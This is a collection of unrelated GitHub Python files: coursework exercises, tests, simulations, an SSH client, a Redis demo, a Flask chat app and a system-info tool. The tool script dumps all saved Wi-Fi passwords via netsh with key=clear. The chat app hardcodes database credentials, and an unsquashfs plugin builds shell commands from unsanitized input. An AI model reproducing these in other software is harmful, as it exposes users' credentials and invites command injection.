usage = 'Run \"run unsquashfs\" will extract squashfs file system to outputs/squashfs-root.Run \"run unsquashfs help\" to see more parameters.')\n\n self.argparser.add_argument(\"--input\", default=\"outputs/new.squashfs\", help=\"squashfs dir\")\n self.argparser.add_argument(\"--output\", default=\"./outputs/squashfs-root/\", help=\"new squashfs file\")\n\n def execute(self):\n #print(\"Run mksquashfs with parameter {}\".format(str(self.args)))\n os.system(\"unsquashfs -d {} {}\".format(self.args.output, self.args.input))\n","repo_name":"arthastang/IoT-Implant-Toolkit","sub_path":"toolkit/plugins/firmware/unsquashfs.py","file_name":"unsquashfs.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","stars":136,"dataset":"github-code","pt":"11"} +{"seq_id":"73739471388","text":"#그리디 알고리즘\n#거스름돈 대표적 문제\nn = 1260\ncount = 0\n\n#큰 단위 화폐부터 차례로 확인\ncoin_types =[500, 100, 50, 10]\n\nfor coin in coin_types:\n #해당 화폐로 거슬러 줄 수 있는 동전의 개수 세기\n temp = n // coin # 거스름돈과 coin을 나누어서 몫을 계산함\n count = count + temp # 몫과 count 더 해줌\n \n n = n%coin # 위에서 몫 만큼 coin을 거슬러주었으니 나머지 거스름돈을 계산하고 변수에 할당 \n \nprint(count)\n","repo_name":"HwangHanJae/coding_test_pratice","sub_path":"이코테/greedy_algorithm/거스름돈문제/answer.py","file_name":"answer.py","file_ext":"py","file_size_in_byte":523,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"6110735861","text":"import matplotlib\nmatplotlib.use('Agg')\n\nfrom python_test_case import PythonTestCase, run_tests\nfrom pylab import *\nimport sys\nfrom io import StringIO\nfrom unittest.mock import patch, call\n\nINPUT = [\"6000000000\", \"0.043\", \"12\"]\n\nclass Tests(PythonTestCase):\n\n def setUp(self):\n try:\n del sys.modules[\"attempt\"]\n except KeyError:\n pass\n\n @patch('builtins.input', side_effect = INPUT)\n def test_title(self, input_call):\n \"\"\" The graph has the correct title \"\"\"\n import attempt\n g = gca()\n self.assertEqual(g.get_title(), \"Alien Invasion!\")\n savefig(\"output.png\")\n clf()\n\n @patch('builtins.input', side_effect = INPUT)\n def test_x_label(self, input_call):\n \"\"\" The x axis is labelled correctly \"\"\"\n import attempt\n g = gca()\n self.assertEqual(g.get_xlabel(), \"Years\")\n savefig(\"output.png\")\n clf()\n\n @patch('builtins.input', side_effect = INPUT)\n def test_y_label(self, input_call):\n \"\"\" The y axis is labelled correctly \"\"\"\n import attempt\n g = gca()\n self.assertEqual(g.get_ylabel(), \"Population\")\n savefig(\"output.png\")\n clf()\n\n @patch('builtins.input', side_effect = INPUT)\n def test_x_data(self, input_call):\n \"\"\" The plot uses the correct x values \"\"\"\n import attempt\n g = gca()\n self.assertEqual(gca().get_lines()[0].get_xdata().tolist(), list(range(13)))\n savefig(\"output.png\")\n clf()\n\n @patch('builtins.input', side_effect = INPUT)\n def test_y_data(self, input_call):\n \"\"\" The plot uses the correct y values \"\"\"\n import attempt\n g = gca()\n self.assertEqual(gca().get_lines()[0].get_ydata().tolist(), [6000000000.0,\n 6263627369.103676,\n 6538837969.830772,\n 6826140744.99439,\n 7126066999.283436,\n 7439171381.7963705,\n 7766032911.745426,\n 8107256049.228093,\n 8463471813.04607,\n 8835338947.638811,\n 9223545141.289688,\n 9628808297.857553,\n 10051877864.385525])\n savefig(\"output.png\")\n clf()\n\n @patch('builtins.input', side_effect = INPUT)\n def test_file(self, input_call):\n \"\"\"Show is used to display plot\"\"\"\n import attempt\n a = False\n if \"show()\" in open('attempt.py').read():\n a = True\n self.assertEquals(a,True) \n savefig(\"output.png\")\n clf()\n \n @patch('builtins.input', side_effect = INPUT)\n def test_one_line(self, input_call):\n \"\"\" One line on plot\"\"\"\n import attempt\n g = gca()\n self.assertEquals(len(g.get_lines()), 1)\n savefig(\"output.png\")\n clf()\n \n\n# Run the unit tests\nif __name__ == \"__main__\":\n run_tests(Tests)","repo_name":"DillonSteyl/SCIE1000","sub_path":"Week 9/population_1_test.py","file_name":"population_1_test.py","file_ext":"py","file_size_in_byte":3533,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"26467480427","text":"# !/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Jun 15 13:24:06 2023\n\n@author: be\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\ndir_path = os.path.dirname(os.path.realpath(__file__))\n\nprint(\"Sie haben das Programm zur Visualiserierung des ARZ-Modells für Verkehrsfluss gestartet.\")\n# %% Vorbereitung\nXLimit = 1\nTLimit = 1\nxminusLimit = 0\n\nCFL = 0.5\ndx = 1/400\ndt = dx * CFL\n\nprint(\"CFL-Bedingung: \", CFL)\nx = np.arange(-xminusLimit, XLimit, dx)\nt = np.arange(0, TLimit, dt)\n\ndef h(rho):\n if rho < 0:\n return 1\n print(\"rho is too small: \", rho)\n quit(0)\n if rho > 1:\n return 0\n print(\"rho > rhomax = 1,: \", rho)\n quit(0)\n\n return 1-rho\n\ndef f1(p, pressure):\n return pressure + p * h(p)\n #return p - 2 * pressure\ndef f2(p, pressure):\n if p < 0 or p > 1:\n print(p)\n quit()\n return (pressure**2)/p + pressure * h(p)\n #return 2*p - pressure\ndef simulation(startwerte):\n u = np.full((t.shape[0], x.shape[0], 3), 0.0)\n x0 = np.array([startwerte(i) for i in x])\n print(u.shape)\n u[0, :] = x0\n u[:, 0, :] = x0[0]\n u[:,-1, :] = x0[-1]\n\n # %% Rechnen\n for i in range(1, u.shape[0]):\n\n for j in range(1, u.shape[1]-1):\n # p, pressur\n rho_plus1 = u[i - 1, j + 1, 0]\n rho_minus1 = u[i - 1, j - 1, 0]\n rho = u[i - 1, j , 0]\n pressure = u[i - 1, j , 1]\n pressure_plus1 = u[i - 1, j + 1, 1]\n pressure_minus1 = u[i - 1, j - 1, 1]\n neuesrho = (rho_plus1 + rho_minus1)/2 - dt/(2 * dx) * (f1(rho_plus1, pressure_plus1) - f1(rho_minus1, pressure_minus1))\n neuesPressure = (pressure_plus1 + pressure_minus1)/2 - dt/(2 * dx) * (f2(rho_plus1, pressure_plus1) - f2(rho_minus1, pressure_minus1))\n\n u[i, j, 0] = neuesrho\n u[i, j, 1] = neuesPressure\n u[i, j, 2] = neuesPressure / neuesrho + h(neuesrho)\n return u\n\ndef visualisieren(u, title = \"standard Title\", beideTeile = True):\n if beideTeile:\n fig, (ax1, ax2) = plt.subplots(2,1)\n else:\n fig, ax1 = plt.subplots(1, 1)\n fig.set_size_inches(4, 7)\n plt.subplots_adjust(hspace=0.4)\n fig.suptitle(title)\n ax1.set_title(\"rho\")\n im1 = ax1.imshow(u[:,:,0], origin = \"lower\", extent=[xminusLimit, XLimit, 0,TLimit])\n plt.colorbar(im1, ax = ax1)\n ax1.set_ylabel('t')\n ax1.set_xlabel('x')\n\n if beideTeile:\n ax2.set_title(\"v\")\n ax2.set_ylabel('t')\n ax2.set_xlabel('x')\n im2 = ax2.imshow(u[:,:,2], origin = \"lower\", extent=[xminusLimit,XLimit, 0,TLimit])\n plt.colorbar(im2, ax = ax2)\n plt.savefig(dir_path + \"/\" + title + \"ARZSIM.png\")\n fig.show()\n\ndef doCalc(rholinks = 0.4,\n vlinks = 0.2,\n rhorechts = 0.8,\n vrechts = 0.5,\n title = \"Visualisierung \"):\n\n def startwerteFunktion(z):\n if z < 0.5:\n return np.array([rholinks, (vlinks - h(rholinks)) * rholinks, vlinks])\n else:\n return np.array([rhorechts, (vrechts - h(rhorechts)) * rhorechts, vrechts])\n\n u = simulation(startwerte=startwerteFunktion)\n visualisieren(u, title = title)\n\ndoCalc(rholinks = 0.2, vlinks = 0.3, rhorechts = 0.8, vrechts = 0.4, title = \"Visualisierung des Riemannproblems\")\n\n","repo_name":"BernhardEisvogel/CodeARZModel","sub_path":"ARZ2Kontakt.py","file_name":"ARZ2Kontakt.py","file_ext":"py","file_size_in_byte":3342,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"33192469574","text":"import paramiko\nimport logging as log\nimport sanityapp.utils as utils\n\n\n\nclass SSHClient():\n def __init__(self, address=utils.SSH_Host, username=utils.SSH_Username, password=utils.SSH_Password):\n self.client = paramiko.SSHClient()\n self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n self.client.connect(address, username=username, password=password,allow_agent=False,look_for_keys=False)\n\n def __del__(self):\n if self.client is not None:\n self.client.close()\n\n def get_file_contents(self, file_path=None):\n if file_path is None:\n return \"File path not given\"\n\n log.info(\"Getting contents of file: {0}\".format(file_path))\n sftp_client = self.client.open_sftp()\n contents = \"\"\n try:\n remote_file = sftp_client.open(file_path)\n for line in remote_file:\n contents = contents + line\n remote_file.close()\n except Exception as e:\n log.error(e)\n contents = \"File {0} contents not found\".format(file_path)\n log.info(contents)\n return contents\n\n def send_command(self, command):\n if self.client:\n try:\n stdin, stdout, stderr = self.client.exec_command(command)\n while not stdout.channel.exit_status_ready():\n if stdout.channel.recv_ready():\n all_data = stdout.channel.recv(1024)\n prev_data = b\"1\"\n while prev_data:\n prev_data = stdout.channel.recv(1024)\n all_data += prev_data\n log.debug(str(all_data, \"utf8\"))\n return True\n except Exception as err:\n log.error(err)\n return False\n else:\n log.error(\"Connection not opened.\")\n return False\n","repo_name":"ChanSays/Network-Visualization","sub_path":"DEV_CURR/sanity-web/sanityapp/ssh_client.py","file_name":"ssh_client.py","file_ext":"py","file_size_in_byte":1930,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24498639835","text":"import time\nimport tracemalloc\n\ntracemalloc.start()\nt_start = time.perf_counter()\nfile = open('input.txt', 'r')\nlines = file.readlines()\nf = open('output.txt', 'w')\n\n\ndef quickSort(l, r):\n i = l\n j = r\n pivot = a[(i+j)//2][0]\n while i <= j:\n while a[i][0] < pivot:\n i += 1\n while a[j][0] > pivot:\n j -= 1\n if i <= j:\n a[i], a[j] = a[j], a[i]\n i += 1\n j -= 1\n if j > l:\n quickSort(l, j)\n if i < r:\n quickSort(i, r)\n\n\nn, k = list(map(int, lines[0].split()))\n\na = []\n\nfor i in range(n):\n x, y = map(int, lines[i+1].split())\n dist = x**2 + y**2\n a.append([dist, x, y])\nquickSort(0, n-1)\nfor i in range(k):\n string = f\"[{a[i][1]},{a[i][2]}]\"\n f.write(string)\n if i != k-1:\n f.write(',')\n\nprint(\"Время выполнения: \" + str(time.perf_counter() - t_start) + \" секунд\")\nprint(\"Использование памяти: \" +\n str(tracemalloc.get_traced_memory()[1]) + \" байт\")\ntracemalloc.stop()\n","repo_name":"Artshellorok/algos","sub_path":"sem1/3_alg/Дополнительные задачи/8/8.py","file_name":"8.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"5797308000","text":"from pyspark.sql import SparkSession\n\nsparksession=SparkSession.builder.appName('Dataframe example').getOrCreate()\n\ndf=sparksession.read.csv('/home/anand/Desktop/PYSPARK_Program/git_example/python-spark-tutorial/in/RealEstate.csv',\nmode='DROPMALFORMED',inferSchema='True',header='True')\n\n#/home/anand/Desktop/PYSPARK_Program/git_example/python-spark-tutorial/in/RealEstate.csv\n\n'''lis=[('Praveen', 1, 1000),('nireekshan', 2, 2000),('Ramesh', 3, 3000)]\n\nsparksession.createDataFrame(lis,['Name','No Of Iteams','Price']).show()'''\n\nprint(df.columns)\ndf.show(5)\nprint(df.filter(\"Bedrooms >= 3 and price >545000\").select('Location','Size','Status').distinct().count())","repo_name":"Anandkumarasamy/Spark","sub_path":"demo_dataframe.py","file_name":"demo_dataframe.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"72020589147","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport torch\nimport torch.nn as nn\n\n\nclass TextGenerationModel(nn.Module):\n\n def __init__(self, batch_size, seq_length, vocabulary_size,\n lstm_num_hidden=256, lstm_num_layers=2,\n dropout=0.0, embedding=False,\n device='cuda:0'):\n\n super(TextGenerationModel, self).__init__()\n\n self.hidden_size = lstm_num_hidden\n self.seq_length = seq_length\n self.embedding = embedding\n self.vocabulary_size = vocabulary_size\n self.device = torch.device(device)\n\n # use either embedding or one-hot encoding\n if embedding:\n embedding_dim = lstm_num_hidden\n self.encoder = nn.Embedding(num_embeddings=vocabulary_size, \n embedding_dim=embedding_dim)\n else:\n embedding_dim = vocabulary_size\n\n self.lstm = nn.LSTM(input_size=embedding_dim,\n hidden_size=lstm_num_hidden,\n num_layers=lstm_num_layers,\n dropout=dropout)\n\n self.decoder = nn.Linear(in_features=lstm_num_hidden, out_features=vocabulary_size)\n \n # used for passing previous hidden state during generation\n self.current_hidden = None\n\n # convert input to one hot vector\n def to_one_hot(self, input, size):\n one_hot = torch.zeros(*input.shape, size).to(self.device)\n indexing_tensor = input.unsqueeze(-1).long()\n batch_inputs = one_hot.scatter(2, indexing_tensor, 1)\n return batch_inputs\n\n def forward(self, x):\n # if single character is passed, convert to (1x1)\n if len(x.shape) < 2:\n x = x.unsqueeze(0)\n \n # embed the input using embedding or one-hot encoding\n if self.embedding:\n encoded = self.encoder(x)\n else:\n encoded = self.to_one_hot(x, self.vocabulary_size)\n\n self.lstm.flatten_parameters()\n\n # if not training - we are generating, so, save hidden state for the next step\n # otherwise - don't save hidden\n if not self.training:\n # feed embedded input into lstm\n output, hidden = self.lstm(encoded, self.current_hidden)\n\n # save last hidden\n if len(hidden[0].shape) > 2:\n hidden = (hidden[0][:, -1, :].unsqueeze(1).contiguous(),\n hidden[1][:, -1, :].unsqueeze(1).contiguous())\n self.current_hidden = hidden\n else:\n output, hidden = self.lstm(encoded)\n self.current_hidden = None\n\n # apply linear layer to decode\n decoded = self.decoder(output)\n\n return decoded\n","repo_name":"askliar/deep-learning","sub_path":"assignment_2/part3/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":2803,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"766894845","text":"def palindrome_search(words):\r\n\tpalinroms_counter = 0\r\n\tfor word in words:\r\n\t\tword_check = word.lower()\r\n\t\tlist_letter = []\r\n\t\tlen_word = len(word_check)\r\n\t\tfor letter in word_check:\r\n\t\t\tlist_letter.append(letter)\r\n\t\tfor check_palindrom in range(0, len_word//2): # при делении на 2 находим середину\r\n\t\t\tchange_letter = list_letter[check_palindrom] # т.к меняем буквы местами до середины(2 раза)\r\n\t\t\tlist_letter[check_palindrom] = list_letter[len_word - check_palindrom - 1]\r\n\t\t\tlist_letter[len_word - check_palindrom - 1] = change_letter\r\n\t\tnew_word = \"\"\r\n\t\tfor join_letters in list_letter:\r\n\t\t\tnew_word += join_letters\r\n\t\tif word_check == new_word:\r\n\t\t\tprint(f\"[{word_check}] является палиндромом\")\r\n\t\t\tpalinroms_counter += 1\r\n\tprint()\r\n\tprint(f\"Найдено {palinroms_counter} палиндромов | APSN4\")\r\n\r\n\r\nwords = [\"машина\", \"хакер\", \"мадам\", \"Лаунч\", \"казак\", \"Потоп\", \"radar\"]\r\npalindrome_search(words)","repo_name":"APSN4/palindrome-search","sub_path":"palindrome_search.py","file_name":"palindrome_search.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"866494874","text":"\"\"\"\n demonstrate use of Redis\n\"\"\"\n\n\nimport login_database\nimport utilities\n\n\ndef run_example():\n \"\"\"\n uses non-presistent Redis only (as a cache)\n\n \"\"\"\n\n log = utilities.configure_logger('default', '../logs/redis_script.log')\n\n try:\n log.info('Step 1: connect to Redis')\n r = login_database.login_redis_cloud()\n log.info('Step 2: cache some data in Redis')\n r.set('andy', 'andy@somewhere.com')\n\n log.info('Step 2: now I can read it')\n email = r.get('andy')\n log.info('But I must know the key')\n log.info(f'The results of r.get: {email}')\n\n log.info('Step 3: cache more data in Redis')\n r.set('pam', 'pam@anywhere.com')\n r.set('fred', 'fred@fearless.com')\n\n log.info('Step 4: delete from cache')\n r.delete('andy')\n log.info(f'r.delete means andy is now: {email}')\n\n log.info('Step 6: Redis can maintain a unique ID or count very efficiently')\n r.set('user_count', 21)\n r.incr('user_count')\n r.incr('user_count')\n r.decr('user_count')\n result = r.get('user_count')\n log.info('I could use this to generate unique ids')\n log.info(f'Redis says 21+1+1-1={result}')\n\n log.info('Step 7: richer data for a SKU')\n r.rpush('186675', 'chair')\n r.rpush('186675', 'red')\n r.rpush('186675', 'leather')\n r.rpush('186675', '5.99')\n\n log.info('Step 8: pull some data from the structure')\n cover_type = r.lindex('186675', 2)\n log.info(f'Type of cover = {cover_type}')\n #####################################################################\n # Assignment\n #####################################################################\n log.info('Step 9: Assignment, adding new customers with phone and zip')\n r.hmset('Brandon', {'Telephone': '360-691-9021', 'Zip': '95680'})\n r.hmset('Alicia', {'Telephone': '111-255-4455', 'Zip': '98275'})\n r.hmset('Anh Tai', {'Telephone': '222-333-7768', 'Zip': '95670'})\n r.hmset('Gregory', {'Telephone': '444-967-5816', 'Zip': '98252'})\n r.hmset('Mike', {'Telephone': '555-315-3767', 'Zip': '98223'})\n r.hmset('Andrew', {'Telephone': '999-222-7777', 'Zip': '98012'})\n \n log.info('Step 10: Iterate over known hask keys')\n for i in ['Brandon', 'Alicia', 'Anh Tai', 'Gregory', 'Mike', 'Andrew']:\n print(\"-\"*70)\n for j in r.hkeys(i):\n print(\"{:<20}{:<15}{:<15}\".format(i, j, r.hget(i, j)))\n\n log.info('Step 11: Iterate over etire database')\n a, index = r.scan()\n\n # print(index)\n # for i in index:\n # print(i, r.type(i))\n\n for i in index:\n print(\"-\"*70)\n if r.type(i) == 'hash':\n for j in r.hkeys(i):\n print(\"{:<20}{:<15}{:<15}\".format(i, j, r.hget(i, j)))\n elif r.type(i) == 'list':\n for j in range(r.llen(i)):\n print(\"List {}, indx: {}, element: {}\".format(i,j,r.lindex(i, j)))\n else:\n print(\"{:<20}{:<15}\".format(i, r.get(i)))\n\n log.info('Step 12: Clear database')\n r.flushdb()\n\n except Exception as e:\n print(f'Redis error: {e}')\n","repo_name":"UWPCE-PythonCert-ClassRepos/SP_Online_Course2_2018","sub_path":"students/Wieslaw_Pucilowski/Lesson08/Assignment1/src/redis_script.py","file_name":"redis_script.py","file_ext":"py","file_size_in_byte":3295,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"999380781","text":"from re import T\r\nfrom typing import Sized\r\nimport pyfiglet , socket , os , wmi , time , sys , colorama , socket , subprocess\r\nimport speedtest\r\nfrom colorama import Fore, Back, Style\r\nfrom getmac import get_mac_address as gma\r\ncolorama.init(autoreset=True)\r\n\r\nindex = pyfiglet.figlet_format(\"PcTools\" , font = \"banner3-D\")\r\nprint(Fore.RED + index + \" Powered By codervserror\" ,Fore.GREEN + \"\"\"\r\n\r\nSystem info(1) Network SpeedTest(4)\r\nSystem network info(2) Software exit(0)\r\nSaved network information(3) Instagram:@codervserror\r\n\"\"\")\r\n\r\nwhile True:\r\n \r\n target = input(\"Target number:\")\r\n\r\n if target == \"0\":\r\n exit()\r\n elif target == \"1\":\r\n print(\"Loading system information...\")\r\n animation = [\"[■□□□□□□□□□]\",\"[■■□□□□□□□□]\", \"[■■■□□□□□□□]\", \"[■■■■□□□□□□]\", \"[■■■■■□□□□□]\", \"[■■■■■■□□□□]\", \"[■■■■■■■□□□]\", \"[■■■■■■■■□□]\", \"[■■■■■■■■■□]\", \"[■■■■■■■■■■]\"]\r\n for i in range(len(animation)):\r\n time.sleep(0.2)\r\n sys.stdout.write(Fore.GREEN + \"\\r\" + animation[i % len(animation)])\r\n sys.stdout.flush()\r\n \r\n print(\"\\n\")\r\n\r\n computer = wmi.WMI()\r\n computer_info = computer.Win32_ComputerSystem()[0]\r\n os_info = computer.Win32_operatingSystem()[0]\r\n proc_info = computer.Win32_processor()[0]\r\n gpu_info = computer.Win32_VideoController()[0]\r\n\r\n os_name = os_info.Name.encode(\"utf-8\").split(b\"|\")[0]\r\n os_version = \" \".join([os_info.Version, os_info.BuildNumber])\r\n system_ram = float(os_info.TotalVisibleMemorySize) / 1048576 #KB to GB\r\n\r\n print(Fore.RED + \"OS Name: {0}\".format(os_name))\r\n print(Fore.RED + \"OS Version: {0}\".format(os_version))\r\n print(Fore.RED + \"RAM: {0}\".format(system_ram))\r\n print(Fore.RED + \"Grapich Card: {0}\".format(gpu_info.Name))\r\n\r\n elif target == \"2\":\r\n print(\"Loading system network information...\")\r\n animation = [\"[■□□□□□□□□□]\",\"[■■□□□□□□□□]\", \"[■■■□□□□□□□]\", \"[■■■■□□□□□□]\", \"[■■■■■□□□□□]\", \"[■■■■■■□□□□]\", \"[■■■■■■■□□□]\", \"[■■■■■■■■□□]\", \"[■■■■■■■■■□]\", \"[■■■■■■■■■■]\"]\r\n for i in range(len(animation)):\r\n time.sleep(0.2)\r\n sys.stdout.write(Fore.GREEN + \"\\r\" + animation[i % len(animation)])\r\n sys.stdout.flush()\r\n print(\"\\n\")\r\n\r\n print(Fore.RED + \"İp Adress:\",socket.gethostbyname(socket.gethostname()))\r\n print(Fore.RED + \"Mac Adress:\",gma())\r\n \r\n elif target == \"3\":\r\n\r\n print(\"Loading saved network information...\")\r\n animation = [\"[■□□□□□□□□□]\",\"[■■□□□□□□□□]\", \"[■■■□□□□□□□]\", \"[■■■■□□□□□□]\", \"[■■■■■□□□□□]\", \"[■■■■■■□□□□]\", \"[■■■■■■■□□□]\", \"[■■■■■■■■□□]\", \"[■■■■■■■■■□]\", \"[■■■■■■■■■■]\"]\r\n for i in range(len(animation)):\r\n time.sleep(0.2)\r\n sys.stdout.write(Fore.GREEN + \"\\r\" + animation[i % len(animation)])\r\n sys.stdout.flush()\r\n print(\"\\n\")\r\n\r\n data = subprocess.check_output(['netsh', 'wlan', 'show', 'profiles']).decode('utf-8').split('\\n')\r\n profiles = [i.split(\":\")[1][1:-1] for i in data if \"All User Profile\" in i]\r\n for i in profiles:\r\n results = subprocess.check_output(['netsh', 'wlan', 'show', 'profile', i, 'key=clear']).decode('utf-8').split('\\n')\r\n results = [b.split(\":\")[1][1:-1] for b in results if \"Key Content\" in b]\r\n try:\r\n print (Fore.RED + \"{:<30}| {:<}\".format(i, results[0]))\r\n except IndexError:\r\n print(Fore.RED + \"{:<30}| {:<}\".format(i, \"\"))\r\n \r\n elif target == \"4\":\r\n print(\"Network Speed​​Test starts:\")\r\n\r\n#animation = [\"10%\", \"20%\", \"30%\", \"40%\", \"50%\", \"60%\", \"70%\", \"80%\", \"90%\", \"100%\"]\r\n animation = [\"[■□□□□□□□□□]\",\"[■■□□□□□□□□]\", \"[■■■□□□□□□□]\", \"[■■■■□□□□□□]\", \"[■■■■■□□□□□]\", \"[■■■■■■□□□□]\", \"[■■■■■■■□□□]\", \"[■■■■■■■■□□]\", \"[■■■■■■■■■□]\", \"[■■■■■■■■■■]\"]\r\n\r\n for i in range(len(animation)):\r\n time.sleep(0.2)\r\n sys.stdout.write(Fore.GREEN + \"\\r\" + animation[i % len(animation)])\r\n sys.stdout.flush()\r\n\r\n print(\"\\n\")\r\n speedtester = speedtest.Speedtest()\r\n donwloadspeed = speedtester.download()/(1025 * 1025)\r\n uploadspeed = speedtester.upload()/(1025 * 1025)\r\n\r\n print(Fore.RED + \"Download Speed\",donwloadspeed,\"Mbps:\")\r\n print(Fore.RED + \"Upload Speed\",uploadspeed,\"Mbps:\")\r\n \r\n else:\r\n print(Fore.RED + \"There is no such option, please try again !\")","repo_name":"codervserror/PcTools","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5259,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"25026490465","text":"from mcpi.minecraft import Minecraft\nmc = Minecraft.create()\nimport time\n\npos = mc.player.getTilePos()\nsueloX = pos.x - 2\nsueloY = pos.y - 1\nsueloZ = pos.z - 2\nanchura = 5\nlongitud = 5\nbloque = 41\nmc.setBlocks(sueloX, sueloY, sueloZ,\n sueloX + anchura, sueloY, sueloZ + longitud, bloque)\n\nwhile sueloX <= pos.x <= sueloX + anchura and sueloZ <= pos.z <= sueloZ + longitud:\n if bloque == 41:\n bloque = 57\n else:\n bloque = 41\n mc.setBlocks(sueloX, sueloY, sueloZ,\n sueloX + anchura, sueloY, sueloZ + longitud, bloque)\n # obtén la posición del jugador\n pos = mc.player.getTilePos()\n # espera 0.5 segundos\n time.sleep(0.5)\n","repo_name":"jolosan/jolosan.github.io","sub_path":"minecraft/files/pistaDeBaile.py","file_name":"pistaDeBaile.py","file_ext":"py","file_size_in_byte":684,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"19013756643","text":"#print(\"python beginner videos\")\n#print('python beginner videos')\nvideos = \"python beginner videos\"\n#print(videos)\ntvideo = \"\"\"\nhello world \npython video\n\"\"\"\n#print(tvideo)\n\n#print(videos[3])\n#print(videos[3:9])\n#print(videos[-6:-1])\n##print(\"-\"*10)\n#print(videos+videos)\n#print(len(videos))\n#print(\"Q\" not in videos)\n#for char in videos:\n #print(char)\n#print(\"video\".center(50)) \n#print(videos.upper())\n#print(videos.replace(\"beginner\", \"great\"))\n#print(videos.count(\"n\"))\n\n\none = \"one, two three\"\ntwo = \"four, five, six\"\ncount = f\"let us count {one} and {two}\"\n#print(count)\n\nstringf = \"let us count{} and {}\".format(one,4)\n#print(stringf)\nformatter = \"{},{},{}\"\n#print(formatter.format(1,2,3))\n#print(formatter.format(\"twitter\",\"facebook\",\"youtube\"))\n\n#print('i can\\'t make it')\n#print(\"hello world \\n python videos \\n bye\") \nprint(\"\"\"\nthe social media platforms.\n\\t * facebook\n\\t * twitter\n\\t * instagram\n\"\"\")\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"pronapro/youtube-python-videos","sub_path":"strings.py","file_name":"strings.py","file_ext":"py","file_size_in_byte":945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24661013702","text":"from __future__ import print_function\nfrom __future__ import division\nimport sys, os\nsys.path.append(os.path.abspath('/srv/lib/'))\n\nfrom util import config\nfrom model import Model\n\nfrom sklearn.externals import joblib\nfrom sklearn.ensemble import RandomForestClassifier\n\nclass random_forest(Model):\n\tdef load(self):\n\t\tself.random_forest = joblib.load(self.path)\n\n\tdef train(self, X, Y):\n\t\trandom_forest = RandomForestClassifier(\n\t\t\t\tn_jobs=config('pericog', 'thread_count'),\n\n\t\t\t\tn_estimators=100, # number of trees\n\t\t\t\tcriterion='gini', # 'gini' or 'entropy'\n\n\t\t\t\tverbose=1,\n\n\t\t\t\tmax_features='sqrt', # 'sqrt', 'log2', or a percentage of the total features for each forest to consider\n\n\t\t\t\tclass_weight=None,\n\n\t\t\t\tmax_depth=None,\n\t\t\t\tmin_samples_split=2,\n\t\t\t\tmin_samples_leaf=1,\n\t\t\t\tmin_weight_fraction_leaf=0.0,\n\t\t\t\tmax_leaf_nodes=None,\n\t\t\t\tmin_impurity_decrease=0.0,\n\n\t\t\t\tbootstrap=True,\n\t\t\t\toob_score=False,\n\t\t\t\trandom_state=None,\n\t\t\t\twarm_start=False,\n\t\t\t)\n\t\trandom_forest.fit(X, Y)\n\t\tjoblib.dump(random_forest, self.path)\n\n\tdef predict(self, X):\n\t\tX, Y = self.input_function(X, [])\n\t\treturn self.random_forest.predict(X)\n","repo_name":"skondrashov/thisminute","sub_path":"brain/models/random_forest.py","file_name":"random_forest.py","file_ext":"py","file_size_in_byte":1127,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25653365376","text":"from flask import Flask, render_template, request\nfrom flask_pymongo import PyMongo\nfrom flask_socketio import SocketIO, send\nfrom datetime import datetime\nfrom pytz import timezone\nimport pytz\n\napp = Flask(__name__)\nsocketio = SocketIO(app, engineio_logger=True, logger=True)\n\n\napp.config[\"MONGO_URI\"] = \"mongodb+srv://Test:WeatherUlm@weathercluster.zhdkvmz.mongodb.net/?retryWrites=true&w=majority\"\n\nmongo = PyMongo(app)\n\n@app.route('/')\ndef index():\n return render_template('index.html')\n\n@socketio.on('message')\ndef handle_message(data):\n pin = data['pin']\n username = data['username']\n message = data['message']\n\n chatrooms = mongo.cx.Chatroom.Chatroom\n chatroom = chatrooms.find_one({'pin': pin})\n\n if chatroom is not None:\n berlin = timezone('Europe/Berlin')\n timestamp = datetime.now().astimezone(berlin).strftime('%Y-%m-%d %H:%M:%S')\n new_message = {'username': username, 'text': message, 'timestamp': timestamp}\n chatrooms.update_one({'pin': pin}, {'$push': {'messages': new_message}})\n\n send(new_message, broadcast=True)\n\n@app.route('/chatroom', methods=['GET', 'POST'])\ndef chatroom():\n if request.method == 'POST':\n username = request.form.get('username')\n pin = request.form.get('pin')\n\n chatrooms = mongo.cx.Chatroom.Chatroom\n chatroom = chatrooms.find_one({'pin': pin})\n\n messages = []\n\n if chatroom is None:\n chatrooms.insert_one({'pin': pin, 'messages': []})\n else:\n messages = chatroom['messages']\n\n return render_template('chatroom.html', username=username, pin=pin, messages=messages)\n \nif __name__ == '__main__':\n socketio.run(app, 